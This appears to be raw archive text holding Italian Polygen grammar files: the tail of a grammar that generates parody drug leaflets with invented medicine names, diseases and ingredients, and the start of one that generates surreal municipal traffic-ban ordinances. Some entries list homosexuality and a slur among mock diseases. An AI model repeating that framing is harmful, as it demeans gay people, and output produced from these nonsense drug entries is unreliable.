^ ( o: e | a: e | i: i | e: i ); IO ::= ^ ( o: io | a: ia | i: i | e: ie ); TORE ::= ^ ( o: tore | a: trice | i: tori | e: trici ); FarmacoT ::= BIG \ ( >( antor | pentoth | emmenth | e ^ ( s | x ) ^ pettor | immor | sexor | odor | perfor | folgor | catarr | guatem | crot | scand | vand | seborr ) ^ al ( + FF.11 | FQ.2.3.4.5.6.7.9.10.18.20.22.23.24.25 ) | >( tachi | citro | entero | cimurro | neuro | anti | sburo ) ^ ( sod | ( +++ g | v ) ^ erm | pir | - sturb | - pomp ) ^ ina ( FQ.1.5.7.9.10.12.15.18.22.23.25 ) | >( cocco ^ ( b | dr ) | ( a | i ) ^ mbec | accattatev | dimagr | lubrif | extas | ( flui | liso | sper | ( n | c ) ^ itro | trombo | oftal | gluco | sburo ) ^ muc | fiumic | bruciap | deflor | mucor | cimurr | pho ^ ( r | s ) ^ phor ) ^ il ( + FF.6.11.20.24.25 | FQ.0.1.2.3.4.5.7.8.9.10.12.14.18.22.23 ) | [ [ in ^ ]t ^ ]imidazyl ( + FF.4.10 | FQ.0.1.2.3.5.6.7.9.11.20.23.24.25.32 ) | >( acut | argut | fegat | doncam | armad | inut | cicut | bisest | erett | coprof ) ^ il ( +++ FF.26 | FQ.0.1.2.3.4.5.6.7.8.9.10.11.12.14.18.20.22.23.24.32.33 ) | >( phito | rido | vagi | citro | rinfro | sebo | muco | scroto | gastro ) ^ ( pil | sil | xyl | zyl | cil | ril ) ( FQ.0.1.2.3.4.5.6.7.8.9.10.11.12.13.14.18.20.21.22.23.24.25.26 ) | >( [ "La-La-Lalla-La-La-" ^ \ ]laso | ona | [ rin ^ ]giova | buso | flumaze | anafra | [ rin ^ ]coglio | citro | gastro | neuro | sclero ) ^ nil ( + FF.6.20.21 | FQ.0.1.2.3.4.5.7.9.10.11.22.23.24.25.26.32 ) | >( mu[ ^ s ] ^ co | freno | prosta | gluco | sclero ) [ ^ ( p | t | f ) ] ^ ri[ ^ ( n | d | z | s ) ^ ( i | y ) ] ^ l ( FQ.0.1.2.3.5.6.7.8.9.10.11.12.13.14.18.20.22.23.24.25.26 ) | >( dia | pira | broma | clona | pra[ ^ e ] | nitra | flori | sburo | citro | gastro | neuro | sclero ) ^ ze ^ ( pam | ( la | [ t ^ ]ra ) ^ ( m | n ) ) ( FQ.0.1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.23.24.25.27 ) | >( tope | compae | tocca | ( n | c ) ^ itro | rinfor | cape | sclero | iodo | odio ) ^ ( s | - x | z ) ^ an ( FQ.0.1.2.3.4.5.6.7.9.10.11.13.14.18.20.23.24.25.26.27.32 ) | effer[ ^ ver ] ^ al ^ ( gan | tram ) ( FQ.0.1.2.3.4.5.6.7.8.9.10.11.13.14.18.20.22.23.24.25.27.32 ) | >( kedolor | marlbor | voltron | daitarn [ 3 ] | vultus 5 | zambot 3 ) ( FF.14.1 | FQ.4.25 ) | >( emic | sebo | pho ^ ( r | s ) ^ pho | cyclo[ ^ vi ] | fidepu ) ^ ( ran | tan ) ( FQ.0.1.2.3.4.5.7.9.10.11.13.14.15.18.20.22.23.24.25.27.32 ) | ( m | ++ b ) ^ u ^ [ s ^ ]co ^ ( pan | par ) ( FQ.0.1.2.3.4.5.7.9.10.11.13.14.15.20.22.23.24.25.27.32 ) | >( nimesul | circonc | aracn | tirann | dilap | clitor | stillic ) ^ id ( FQ.0.1.2.3.4.5.6.7.9.10.11.12.13.14.15.18.20.22.23.24.25.26.27.32 ) | >( te | bi | [ s ^ ]pro | [ s ^ ]pre | zi | i | ti | te | [ s ^ ]pa | [ s ^ ]pe | [ s ^ ]pu | ca | vi | ve | fra | ma | ci ) ^ ( nac | [ r ^ ]sul | - [ r ^ ]senn | [ m ^ ]puls | [ n ^ ]cul | ( x | zz ) ^ ul | rmic | tric | truc | flacc | [ r ^ ]conc | tox | muc ) ^ id ( FQ.0.1.2.3.4.5.6.7.9.10.11.12.13.14.15.18.20.22.23.24.25.26.27 ) | >( >( cheto | tora ) ^ dol | >( stompom | resuscit ) ^ al | [ in ^ ]findivit | mal ^ >( depanz | ditest | dident ) ) ( FQ.0.1.2.3.4.5.6.7.8.9.10.11.12.14.18.20.22.23.24.25.32 ) | >( gentalyn | analfa | ecatom | catacom | soccom ) \beta FN | >( viv | strav | perd | retroced )^in \c FN | [ op ^ ]tal ^ ( e | i ) ^ ban ( FQ.0.1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.18.20.22.23.24.25.26.27.32 ) | [ una ^ \ ]tantum \( m | v ) ^ erde FN | >( fastum | pattum | cerum | frantum ) \( verde | ++gel ) FN | la \dolce \( euche | to | dio ) ^ ssina FN | >( rani | mino | citro | gastro | uro | trombo ) ^ xid ^ ( i | y ) ^ l ( FQ.0.1.2.3.5.6.7.8.9.10.11.12.13.14.18.20.22.23.24.25.26.27 ) | ( r | b ) ^ ( i | u ) ^ solvon ( +++++ FF.28 | FF.24.25 | FQ.0.1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.18.20.22.23 ) | >( >( mega | cata | caga | mela | prosta | vari | uri | bena | bibi | sbura ) ^ ton | >( cipoll | pisol | berlusc | psycot[ ^ r ] | bever | digim | pokem | piramid ) ^ on ) ( ++ FF.28 | FF.24.25 | FQ.0.1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.18.20.22.23.33 ) | >( bena | optali | naftali | oftalmi | peri | sclero ) ^ don ( FQ.0.1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.18.20.22.23.24.25.27.28.32.33 ) | [ in ^ | ef ^ ]fervor ( FF.2.11.12.13.21 | FQ.0.1.3.4.5.6.8.9.10.14.18.20.22.23.24.25 ) | bidonvil ( FQ.0.1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.18.20.22.23.24.25.26 ) | >( _ | mano ^ | demoti ^ | carne ^ | "Pump-up-the-"\ ^ ) valium FN | >( linoleum | [ r ^ ]im ^ ( e | o ) ^ dium | motilium ) ( FQ.0.1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.18.20.22.23.24.25.32 ) | ( musco | poly | varico | sofar | dulco | evan | masturbo ) ^ gel ( FQ.0.1.6.7.20.22.24 ) | >( pancre | pol | seren | sfren | dimagr | masturb | sbur | brufol ) ^ ase ( FQ.0.1.2.4.7.8.10.12.13.14.15.21.22.23.24.25.27.32 ) | >( _ | o ^ | u ^ | lat ^ )rinazina ( +++++++ FF.22.29 | FQ.0.1.7.9.10.12.14.23.24 ) | >( risat | sbara ^ ( x | zz ) | ramanz | amuk | ( c | k ) ^ aspiter | ( c | k ) ^ arnefiz | naftal | cresc | toraz ) ^ ina ( ++++++++++++++++++ FF.29 | FQ.0.1.7.9.10.12.14.22.23.24 ) | rinazista FF.29 | [ tr ^ ]aspirina FQ.1.7.12.29.30 | vegetal ^ ( b | l ) ^ umina FQ.0.1.15 | >( nofa | mosto | cago ) ^ ben ( FQ.0.1.2.3.4.6.9.10.11.12.14.15.18.20.22.23.24.25.27.32 ) | catoble ^ ( x | pa | n ) ( FQ.0.1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.20.22.24.25.27.32 ) | cebion ( FQ.0.1.5.7.12 ) | ( \ fave,( schiave | slave | ++ bave | + rape ) di \ ( luca | + fuga | ++ fica ),fuca ) FN | [ twin\ ]tavor FN | >( xylo | cimurro | ( n | c ) ^ itro | gastro | phito | prosta | scroto | sebo | uro ) ^ caina ( FQ.0.1.3.4.5.7.9.10.18.22.24.27.32.33 ) | >( entero | gluco | muco | neuro | oftalmo | prosta | sebo | spermo | uro | vagi | varico | vermi | anti | sclero ) ^ trombina ( FQ.0.1.3.4.5.7.9.10.18.22.24.27.32 ) | >( [ neo ^ ]ciba | nova | chiava | sbava | stravo | nevra | sbura ) ^ lgina ( FQ.0.1.3.4.5.7.9.10.18.22.24.27.32 ) | ( [ s ^ [ tra ^ ] | disin ^ ],_ vol ^ t,g ^ aren ) ( +++ FF.31 | FQ.0.6.7.15.20.23 ) | >( e | depre | ce | fe | sco ) ^ ssaven ( FF.15 | FQ.0.1.2.3.4.6.9.10.11.12.14.18.20.22.23.24.25.27.33 ) | >( baclo | ( n | c ) ^ itro | gastro | gluco | sebo | muco | neuro | pho ^ ( r | s ) ^ pho | prosta ) ^ ( fen | [ f ^ ]ren | prazen | derm ) ( FQ.0.1.6.15.20.23.27.33 ) | >( phito | tromba | uro | vagi | varico | brufo ) ^ derm ( FF.15 | FQ.0.1.6.20.23.27.33 ) | >( deterr | dissent | avantr | dimagr | dilatr ) ^ en FG2 | >( testo | proto | citro | muco | gastro | trombo | stronzo ) ^ vi ^ ( s | t ) ( FF.2.7.11.12.13.21 | FQ.0.1.3.4.5.6.8.9.10.14.18.20.23.24.26.32 ) | >( b | g | r ) ^ u ^ ( s | t ) ^ talax ( FQ.0.1.2.6.7.9.10.11.12.13.14.15.18.20.22.23.24.25.32.33 ) | ( _ | antip ^ | "L'Incredibile"\ ) ulcex FN | >( dulco | turco | phospho | muco | gastro | [ s ^ ]vermi | ofta | [ [ ma ^ ]s ^ ]turbo | brufo | stronzo ) ^ lax ( FQ.0.1.2.6.7.9.10.18.20.23.25.32.33 ) | >( pancre | anan | xan | esent | catarr | satan | sputtan | svetr ) ^ ax ( FQ.0.1.2.6.7.9.10.18.20.23.25.32.33 ) | >( proz | stro ^ ( z | n ) ^ z | zant | spruzz ) ^ ac ( FQ.7.8.23.33 ) | >( zylor | orasept | abul | acet | asmat ) ^ ic ( FQ.0.1.9.27.32.33 ) | >( [ di ^ ]synf | genuf | dis | cata ) ^ lex ( FQ.0.1.2.4.5.6.7.9.10.11.12.13.14.15.18.20.22.23.24.25.26.27.32.33 ) | >( maal | solidarn | ortod | overd | permal | acet | stet | tromb | animal | barb | morb | psic | narc | muc | zim | ammal | m ^ ( e | i ) ^ fa[ ^ mpo ] ^ mal ) ^ ox ( FQ.0.1.2.8.9.10.24.25 ) | >( gine | tuber | mandra | mazzan | bena | kera | auto ) ^ gol ( FF.14.24.25 | FQ.0.1.4.8.9.10.18.22.23.33 ) | >( tegret | metab | mo ^ ( m | r ) ^ end | antid | turand | krimin | endocrin | contr | pervas ) ^ ol ( FQ.0.1.2.3.4.5.6.7.8.9.10.11.12.14.18.22.23.24.25 ) | >( s[ ^ t ] ^ upra | rauce | lampa | bigo | biliar | lavan | [ im ^ ]putri | stronz[ ^ i ] ^ o ) ^ d ^ ( i | ++++ y ) ^ n FG | >( napro | entero | sebo | kato | ci ^ ( p | t ) ^ r ^ ( a | o ) ) ^ ( x | s | z )[ ^ id ] ^ ( i | ++++ y ) ^ n FG | lapisla ^ ( x | zz ) ^ ul ^ ( i | y ) ^ n FG | >( [ sorpre ^ | pave ^ ]sine | gine ) ^ cod ( FF.14.24.25 | FQ.0.1.4.8.9.10.18.22.23.33 ) | >( _ | alle ^ | antidilu ^ | coadiu ^ | de ^ | ferro ^ | fuor ^ | ravvi ^ | smuo ^ | solle ^ ) viagra ( FQ.0.1.2.4.7.8.9.10.13.14.15.18.22.23.32 ) | viacard ( FQ.0.1.2.4.7.8.9.10.13.14.15.18.22.23.32 ) | >( [ s ^ ]tim | bruf | afr | gastr | muc | pancre | scler | scrot | seb | sperm | vulv | sbur ) ^ odor[ ^ e ] ( FF.22 | FQ.0.1.2.3.4.6.7.14.18.20.25.21.27.32 ) | >( mom | sgom | pol | mor ) ^ ent ( FQ.0.1.7.8.18.32 ) | >( >( fev | zet | vit | citr | fent ) ^ ( X: a | Y: _ ) | >( benz | rib | ansi | citr | pho ^ ( r | s ) ^ ph | gastr | phit | scrot | tromb | scler | bruf | stronz ) ^ ( X: o | Y: _ ) ) ^ ( X: ( m ^ ( u | i ) ^ cin | ( l | r ) ^ i ^ ( n | m ) ) | Y: algin ) FG2 ).( X | Y ) ; FG ::= FQ.0.1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.18.20.21.22.23.24.25.26.27.32.33; FG2::= FQ.0.1.2.3.4.6.9.10.11.12.14.15.18.20.22.23.24.25.27.32.33; FF ::= BIGc REG ( notype: _ | type: MED Plus MEDc ) ; FQ ::= BIGc REG [ notype: _ | type: MED Plus MEDc ] ; FN ::= BIGc REG ; Plus ::= 0: ( 3 | 9 | 10 | 20 | 30 | 60 ) ^ 0 | 1: ( forte | fast | complex | -- retard ) | 2: bustine | 3: capsule | 4: collirio | 5: compresse | 6: crema | 7: effervescente | 8: endovena | 9: fiale | 10: gocce | 11: gola | 12: granulare | 13: integratore | 14: nebulizzatore | 15: [ "oral-"^ | "anal-"^ | emul^ ] ( gel | spray ) | 18: pasti ^ ( gli | cch ) ^ e | 20: pomata | 21: sport | 22: spray ( _ | nasale | --- anale ) | 23: supposte | 24: tosse | 25: sciroppo | 26: ((++++f|b)^osforo | forfora ) | 27: lozione | 28: ( ++++linct | cact | actar ) ^ us | 29: spray nasale | 30: ( "03" | "05" ) | 31: emulgel | 32: pillole | 33: plus ; Patologia ::= ( no: _ | art: il | prep: l | cong: e ) >( mal di ( denti | gola | testa | mare ) | diastema | coma | glaucoma | +++++ priapismo | sanguinamento rettale | varicocele | raffreddore | pallore | diabete | carbonchio | morbillo | tifo | torcicollo | vaiolo | nervosismo | rachitismo | tetano | +++ tartaro | ++++ catarro | +++ vomito | +++++ prurito [ ( vagi | a ) ^ nale ] | singhiozzo | + delirium tremens | +++++ meteorismo | +++ [rin^]frocismo | morbo ( di \alzheimer | di \parkinson | della mucca pazza | di "Creutzfeldt-Jacob" ) ) | ( no: _ | art: lo | prep: llo | cong: e ) >( ( scl | x ) ^ eroderma >( pilare | ++ pigmentoso | ++++ spaventoso ) | scolo | scorbuto ) | ( no: _ | art: la | prep: lla | cong: e ) >( [ bronco ^ ]polmonite | ( sec | fiac | stiti | stan ) ^ chezza delle fauci | >( flaccid | rigid | frigid | sord | senil | steril | sieropositiv ) ^ it ^ AC | gastrite | cefalea | ++++ >( dia | sebo | logo | pio | gono ) ^ rrea | nausea | + scabbia | claustrofobia | tachicardia | +++ >( nec | cop ) ^ rofagia | >( lomb | nevr ) ^ algia | letargia | +++ follia | rosolia | setticemia | bulimia | +++ cacosmia | +++++ schizofrenia | ++++ >( frena | nevra ) ^ stenia | + catatonia | paranoia | miopia | + licantropia | malaria | "SARS" | ritenzione ( idrica | urinaria ) | carie [ dentaria ] | +++++ dissenteria | porfiria | dispepsia | ++ ( cata | narco | dis ) ^ lessia | presbiacusia | +++++ >( tossico | ninfo | tricotillo | piro | mito | clepto ) ^ mania | +++++ psicopatia | +++ pederastia | ++ pazzia | varicella | mucca pazza | -- > ( bronch | [ trombo ^ ]fleb | broncopolmon | cellul | col | rin | congiuntiv | faring | gastr | gastroenter | gengiv | laring | mening | tendin | trache ) ^ ite | +++++ >( sonnol | flatul | dem ) ^ enza | ( can | calv ) ^ izie precoce | cataratta | + confusione mentale | --- depressione | --- febbre | gastrite | gotta | + lebbra | menopausa | +++++ pellagra | + coccidiosi | pertosse | + peste [ bubbonica ] | raucedine | rigidit ^ AC muscolare | scarlattina | ++++ sciolta | + sifilide | sincope | stitichezza | tosse | vertigine | visione offuscata | paresi | stipsi | -- >( tromb | chetoacid | lord | leptospir | cif | tubercol | nevr | cirr | [ cifo ^ ]scoli ) ^ osi ) | ( no: _ | art: l' ^ | prep: ll' ^ | cong: ed ) >( (* M *) enfisema | +++++ eczema | asma | "HIV" | acne | "AIDS" | +++ ermafroditismo | + esaurimento nervoso | + herpes | (* F *) ( iper | ipo ) ^ tensione ( arteriosa | ortostatica ) | >( iperacid | omosessual | irritabil | ipersensibil | obes | iperemotiv ) ^ it ^ AC | acidit ^ AC gastrica | alopecia | ( onico | aero ) ^ fagia | + anencefalia | anemia | + ( a | ipo ) ^ spermia | emicrania | ebefrenia | artrite | + androginia | insonnia | ++++ orticaria | ipocondria | otite | isteria | euforia | >( afa | idropi | epiles | anores | ipoacu ) ^ sia | ansia | apatia | ulcera [ duodenale ] | ++++ incontinenza | +++ ( onni | im ) ^ potenza | irrequietezza | ++++ inversione sessuale | ipersudorazione [ ascellare ] | ++ orchite | ( arteri | ot ) ^ osclerosi | +++++ esofagite da reflusso | +++++ alitosi | +++ ipertrofia prostatica | +++++ eiaculazione ( precoce | -- improvvisa | -- facciale | eccessiva ) | + ostruzione intestinale | ernia [ iatale ] | +++ encefalopatia spongiforme ) | ( no: _ | art: i | prep: i | cong: e ) >( ++ tic | ++++ tremori | brividi | ++ foruncoli | ++++ bubboni | dolori ( muscolari | addominali ) | ++++ rutti compulsivi | reumatismi | disturbi ( della ( sessu | person ) ^ alit ^ AC | vegetativi | mentali | [ gastro ^ ]intestinali ) ) | ( no: _ | art: gli | prep: gli | cong: ed ) >( ++++ attacchi di ( m | p ) ^ anico (* creditz: Sconsolata *) | orecchioni | eritemi | ++ inestetismi della pelle | ++++ ematomi [ ( vagi | a ) ^ nali ] ) | ( no: _ | art: gli | prep: gli | cong: e ) >( spasmi | ++ stati ( confusionali | maniacali | comatosi ) ) | ( no: _ | art: le | prep: lle | cong: ed ) >( amnesie | +++ eruzioni cutanee | adenoidi | ++++++ emorroidi [ facciali ] | abrasioni | ustioni | escoriazioni | ++++ allucinazioni | infezioni | +++++ erezioni [ improvvise | frequenti ] | emiparesi | ++ alterazioni della coscienza | +++ ascelle muschiate | irregolarit ^ AC ( del ciclo | mestruali ) ) | ( no: _ | art: le | prep: lle | cong: e ) >( pustole | ++++ polluzioni ( di | ++ nott ) ^ urne | + vene varicose | ++++ ragadi | palpitazioni | ++++ turbe >( visive | + psichiche | [ gastro ^ ]intestinali ) | convulsioni | ++++ contrazioni vaginali | +++ scorregge [ ( di | ++ nott ) ^ urne ] | ++++ >( tumefaz | les ) ^ ioni ( vagin | an | rett ) ^ ali ) ; ComposizioneT ::= SMALL BOLD \composizione ^ BOLDc ( ------------------------------ ( sconosciuta | ignota ) | ( Sostanza ( A: ( { V Sostanza.B } { { V Sostanza.C } { [ V Sostanza.D ] } } ). | B: ( { V Sostanza.C } { { V Sostanza.D } { [ V Sostanza.A ] } } ). | C: ( { V Sostanza.D } { { V Sostanza.A } { [ V Sostanza.B ] } } ). | D: ( { V Sostanza.A } { { V Sostanza.B } { [ V Sostanza.C ] } } ). ) ).( --- A | - B | ++ C | ++ D ) ) P SMALLc ; Sostanza ::= ( A: ( eritro | pancreo | strepto | [ pi ^ ]retro | carbo | iso | tetra | ++ sterco | vaso | uro | [ cole ^ ]cisto | [ s ^ ]cortico | immuno | gamma | benzo | + cefalo | somato ) ^ ( mic | poiet | stat | ciste | brom | fosf | zim | plasm | cicl | chin | globul | diazep | spor | stam | guan | cill | lanol | gall ) ^ ina | B: ( ( ( bi | idr ) ^ ossido | ( epic | spergi | sil | iod ) ^ uro | ipoclorito | [ ( dime | ace[ ^ gen ] ) ^ til ^ | tetra ^ ]cloruro ) di Sodio | cidoduro di minchia | --- particella di sodio | cantaride | -- Sodio ( [ feno ^ ]fosf | polisorb | ( mono | [ di ^ ]clor ) ^ idr | citr | solf | permangan | [ bi ^ ]carbon | percol | [ idrossi ^ ]( benzo | sbur ) | gluttamm | mentol ) ^ ato [ [ mono ^ ]( basico | s ^ ( a | o ) ^ dico ) ] | -- aglio V olio V peperoncino | creatina | "LSD" | olio ( di canfora | vegetale [ idrogenato ] ) | olii ( esausti | essenziali ) | alcol [ m ^ ]etilico | vaselina ( bianca [ filante ] | superfluida | dolce ) | gas ( esilarant ^ ( e | i ) | intestinali ) | bromuro | vetriolo | rabarbaro | pappa reale | ginseng ) | C: ( antrace | protossido d'azoto | cianuro | sale V pepe | codeina | morfina | eroina | marijuana | canapa indiana | mescalina | >( metad | progester | cortis ) ^ one | >( mela[ ^ to ] ^ n | stricn | seroton | atrop | epar | efedr | [ nitro ^ ]glicer | papaver | emolis | eritros | peps | trips | dioss | uva sultan | font | paraff ) ^ ina | >( [ mentolo ] eucalip | sorbi | manni | tri ) ^ tolo | >( [ f ^ ]rutt | [ d ^ ]estr | disastr | gluc | latt | lard | - merd ) ^ osio [ V >( --- [ dis ^ ]gust | appiccic | zaccher | saccar | -- sacerd | paolobr ) ^ osio ] | --- acido >( acetilsalicil | ascorb | citr | ialuron | nitr | lesb | fol | latt | solfor | muriat | liserg | [ [ dist ^ ]orto ^ ]fosfor | [ a ^ ]crit | a[ ^ s ] ^ cet | asiat | cianidr | cirill | cl[^it]^oridr | eufor | fall | fluoridr | folclor | sforast ) ^ ico | uranio impoverito | plutonio | stronzio | ( scorie,isotopi radioattiv ^ e,i ) | kolla vinilika ) | D: ( kriptonite | nutella | \( coca | pepsi ) \cola | >( lido | xilo | benzo | co ) ^ caina | ( ossitoc | ranitid | fenolftale | formal | ptial | adrenal | acetilcol | tubercol | peldivag | insul | catecolam | scopolam | fentolam | dopam | prolatt | toraz | cariatid | fetid | trement | putrid ) ^ ina | [ pro ^ ]vitamina\( a | b1 | b12 | b6 | c | d2 | e ) | nandrolone | gomma arabica | amido di mais | cicuta | saliva | formaldeide | acqua ( ^ ragia | distillata | di rose | minerale | santa | ossigenata | passata | liscia | frizzante ) | forfora | [ mono e ] digliceridi | sali minerali | cheratina | aromi [ naturali ] | collagen ^ ( e | asi ) | sperma | idrocarburi | gasolio | nafta[ ^ lina ] | benzina | ali di pipistrello | tutti i minerali dalla "A" allo "Zinco" | >( acidific | [ anti ^ ]agglomer | edulcor | color ) ^ anti | bromuro | bismuto | cadmio | cloroformio | aspartame | talco mentolato | testosterone [ equino ] | guano [ +++ liquido | in polvere ] | urina | letame | ( escre | fer ) ^ menti [ profi ^ ]lattici [ vivi ] | beta ^ ( carot | +++ keros ) ^ ene | estrogeni | essenza di ( lavanda | bergamotto | comino | geranio | ++ timo | gelsomino | rosmarino | salvia ) ) ) ; Sodio ::= ++ sodio | vinile | calcio | + magnesio | fosforo | [m^]etile | + potassio | --- litio | --- manganese | +++++ stronzio ; AC ::= ( text: a' | html: "à" ) ; EC ::= ( text: e' | html: "è" ) ; OC ::= ( text: o' | html: "ò" ) ; NL ::= ^ ( text: "\n" | html: "
    " ) ^ ; NL2 ::= NL NL ; P ::= ^ "."\ ; V := ^ ",";polygen-1.0.6.ds2/grm/ita/bloccotraffico.grm0000644000175000017500000002775510340417034020246 0ustar enricoenrico I ::= "title: Ordinanze comunali surreali di limitazione del traffico\n" ^ "author: "^ (Suff ::= etti | izio; {"Maur" ^ Suff} {["Gian" ^ (franzo | nizzero | nozzo | mauro | "-Baptiste")]} {"Man" ^ Suff} )^"\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: Amministrazioni Comunali che non hanno tempo da perdere\n" ^ "disclaim: non si nutre alcun" (particolare | speciale) (astio | rancore | risentimento) per l'amministrazione comunale di \COMUNE ^"\n" ^ "created: 23/01/2004\n" ; S ::= PREAMBOLO OL DIVIETI ESONERI DEROGHE OF; COMUNE := roma | firenze | milano | torino | napoli | bologna | bari | genova; PREAMBOLO ::= CENTER BIG^ PROVVEDIMENTI ^NOBIG ORDINANZA NOCENTER ; PROVVEDIMENTI ::= (\provvedimenti ( di limitazione del traffico | relativi alla circolazione dei veicoli ) | \prevenzione dell'inquinamento atmosferico NL e per la tutela [della salute] dei cittadini | \blocchi programmati (del traffico | della circolazione) | \azione per il contenimento NL dell'inquinamento atmosferico da traffico) [NL anno ANNO] NL2 ; ANNO ::= 20 ^(05|06|07|08|09|10); ORDINANZA::= CHI NL2 B^ COSAFA ^NOB NL; CHI ::= (\il \sindaco | \la \giunta \comunale | \il \magnifico \rettore | il consiglio dei cavalieri \jedi | il consiglio degli \anziani | lo splendido \assessore (al traffico | alla [im^]mobilita') | (\la \mamma | \la \moglie | \l'^\amante) del \sindaco | (\la \direzione | \il \servizio \tutela) \ambiente [e \territorio]) del comune di \COMUNE ; COSAFA ::= "D I S P O N E" | ++"O R D I N A" | "C O M A N D A" | "I M P O N E" | "P R E S C R I V E" | ++"D E L I B E R A" | "S U G G E R I S C E" | "A Z Z A R D A"; DIVIETI ::= LI DIVIETO LF LI DIVIETO LF; DIVIETO ::= il "DIVIETO" [++assoluto | moderato | relativo] di (circolazione | transito) DOVE QUANDO ^V DALLE ALLE ^V alle seguenti categorie di veicoli^DP NL2 UL VEICOLI UF LF NL; DALLE ::= dalle ore (7|8|9)^":00" | dall'^(alba | aurora) | dal canto del gallo | da dopo che il gallo avra' cantato CIFRA volte fino; ALLE ::= alle (17|18|19|20)^":00" | all'ora di (cena | merenda) | al crepuscolo (civile | nautico | astronomico) | all'ora (della preghiera islamica (del pomeriggio | della sera) calcolata secondo il metodo \(shafi'i|hanafi) | del \vespro); DOVE ::= (nel territorio >(+++comunale | provinciale | regionale | nazionale) | nel centro (abitato | [sub^]urbano) di \COMUNE ) ^V; QUANDO ::= tutti i giorni | GIORNOPERIODICO.(M1|F1) | nei giorni GIORNI; GIORNI ::= [[ di GIORNO ^V] di GIORNO ^V ] di GIORNO e (GIORNO | GIORNOPERIODICO.(M1|F1)); GIORNOSETTIMANA ::= M1: \>(lunedi' | martedi' | mercoledi' | giovedi' | venerdi' | sabato) | F1: \domenica; GIORNO ::= GIORNOSETTIMANA | \(pasqua | natale | ferragosto | santo \stefano | berlingaccio); GIORNOPERIODICO ::= ogni ENNESIMO GIORNOSETTIMANA ( del mese | dell'anno | della settimana | (successiv^(M1: o | F1: a) | antecedente ) al ENNESIMO.M1 (pleni|novi)^lunio STAGIONE ); ENNESIMO ::= (prim | second | terz )^(F1: a | M1: o); STAGIONE ::= d'^\ >(inverno|autunno|estate) | di \primavera; VEICOLI ::= [[LI VEICOLO.(M|F) LF ] LI VEICOLO.(M|F) LF ] LI VEICOLO.(M|F) LF LI VEICOLO.(M|F) LF LI VEICOLO.(M|F) LF LI VEICOLO.(M|F) LF; VEICOLO ::= F: (motociclette [dieci "HP"] [dotate di sidecar] | motocarrozzette | motorette [che sgommano^V inchiodano e vanno a manetta [e fanno cagare addosso il governo e i matusa]] | barche | autovetture | biciclette | carrozze[^lle] | locomotive | jeep | slitte [da neve] | zattere | ruspe) | M: (ciclomotori | motorazzi | autoveicoli | tram | pullman | autobus | tricicli | aeromobili | elicotteri | deltaplani | riscio' | monopattini | gatti delle nevi | autoarticolati | trattori) {[^V CONDUCENTE]} {[^V PASSEGGERI]} {[^V TARGA]} {[^V ALIMENTAZIONE]} {[^V IMMATRICOLAZIONE]} {[^V ALTRECARATTERISTICHE]} [^V NUMERORUOTE]; IMMATRICOLAZIONE ::= immatricolat^(M: i| F: e) per la ENNESIMO.F1 volta precedentemente al DATAIMMATRICOLAZIONE [ad eccezione di quell^(M:i | F: e) conformi alla direttiva CIFRA^CIFRA^"/"^CIFRA^CIFRA[^CIFRA]^"CE"[^"E"]]; DATAIMMATRICOLAZIONE ::= GI^"/"^MI^"/"^AI; GI ::= 0^CIFRA | 1^CIFRA | 2^CIFRA; MI ::= 0^>CIFRA|10|11|12; AI ::= 199^CIFRA; CIFRA ::= 1|2|3|4|5|6|7|8|9; ALTRECARATTERISTICHE ::= di cilindrata (superiore | inferiore) a CIFRA^CIFRA^CIFRA cc | destinat^(M: i | F: e | S: o) al trasporto (merci fino a CIFRA^V^CIFRA (tonnellate|once) | passeggeri fino a CIFRA^CIFRA persone); TARGA ::= con targa (pari | dispari | avente numeri primi tra loro | la somma delle cui cifre sia un numero (primo | pari | divisibile per CIFRA) | la somma delle cui cifre sia uguale alla data di (nascita|battesimo|circoncisione) del (conducente|proprietario) | avente la prima lettera (vocale | consonante) | avente lettere di posizione pari nell'alfabeto (italiano | anglosassone | latino | copto | fenicio) ); CONDUCENTE ::= guidat^(F: e | M: i) da conducenti ( nati (sotto il | nella ENNESIMO.F1 decade del) segno de^ZODIACO | ((omo|etero|bi|tri)^sessuali | di religione RELIGIONE | con codice fiscale (pari|dispari) | matusa)); ZODIACO ::= ll'^\ariete | l \leone | l \sagittario | l \toro | ^lla \vergine | l \capricorno | i \gemelli | ^lla \bilancia | ll'^\acquario | l \cancro | llo \scorpione | i \pesci | l \serpentario; PASSEGGERI ::= con {a bordo} {((meno|piu') di | almeno) CIFRA passeggeri} [(compreso|escluso) il conducente]; ALIMENTAZIONE ::= alimentat^(M: i | F: e) a > CARBURANTE | a > (motore | pedali | vela | pile | traino (animale | di schiavi) | spinta | vapore) | ad alimentazione >(elettrica | geotermica | ibrida); CARBURANTE ::= ( ++diesel | metano | [licenza] "GPL" | alcool | miscela |gas naturale | curegge | propano | butano | benz^(olo|ene|+++ina) | catrame | bitume | vodka | legno | carbone[^lla] | zampirone | coccoina | rifiuti solidi urbani | idrogeno | deuterio | trizio | uranio [arricchito | impoverito] | plutonio | aria compressa); NUMERORUOTE ::= a CIFRA ruote | a CIFRA^CIFRA raggi per ruota | con ruote di diametro (sup|inf)^eriore a CIFRA^CIFRA (centimetri | pollici | palmi | piedi); ESONERI ::= LI \sono esonerati dai divieti di (transito | circolazione)^V di cui ai punti "1)" e "2)" della presente ordinanza^V i seguenti veicoli^DP NL2 OLA VEICOLIESONERATI OF LF NL; VEICOLIESONERATI ::= [[LI VEICOLOESONERATO LF] LI VEICOLOESONERATO LF] LI VEICOLOESONERATO LF LI VEICOLOESONERATO LF LI VEICOLOESONERATO LF LI VEICOLOESONERATO; VEICOLOESONERATO ::= VEICOLO.(M|F) | ++++VEICOLOSPECIALE; VEICOLOSPECIALE ::= veicoli ALIMENTAZIONE.M | i possessori di contratto di (acquisto | affitto | noleggio | comodato d'uso | leasing) relativo ad una autovettura^V o a un autoveicolo ALTRECARATTERISTICHE.S | veicoli in servizio FORZE | veicoli UTILIZZIVARI; FORZE ::= [[[FORZA^V ] FORZA^V ] FORZA^V ] FORZA e FORZA; FORZA ::= "delle Forze di Polizia" | "dei Carabinieri" | "dei Vigili del Fuoco" | "della Protezione Civile" | "dei 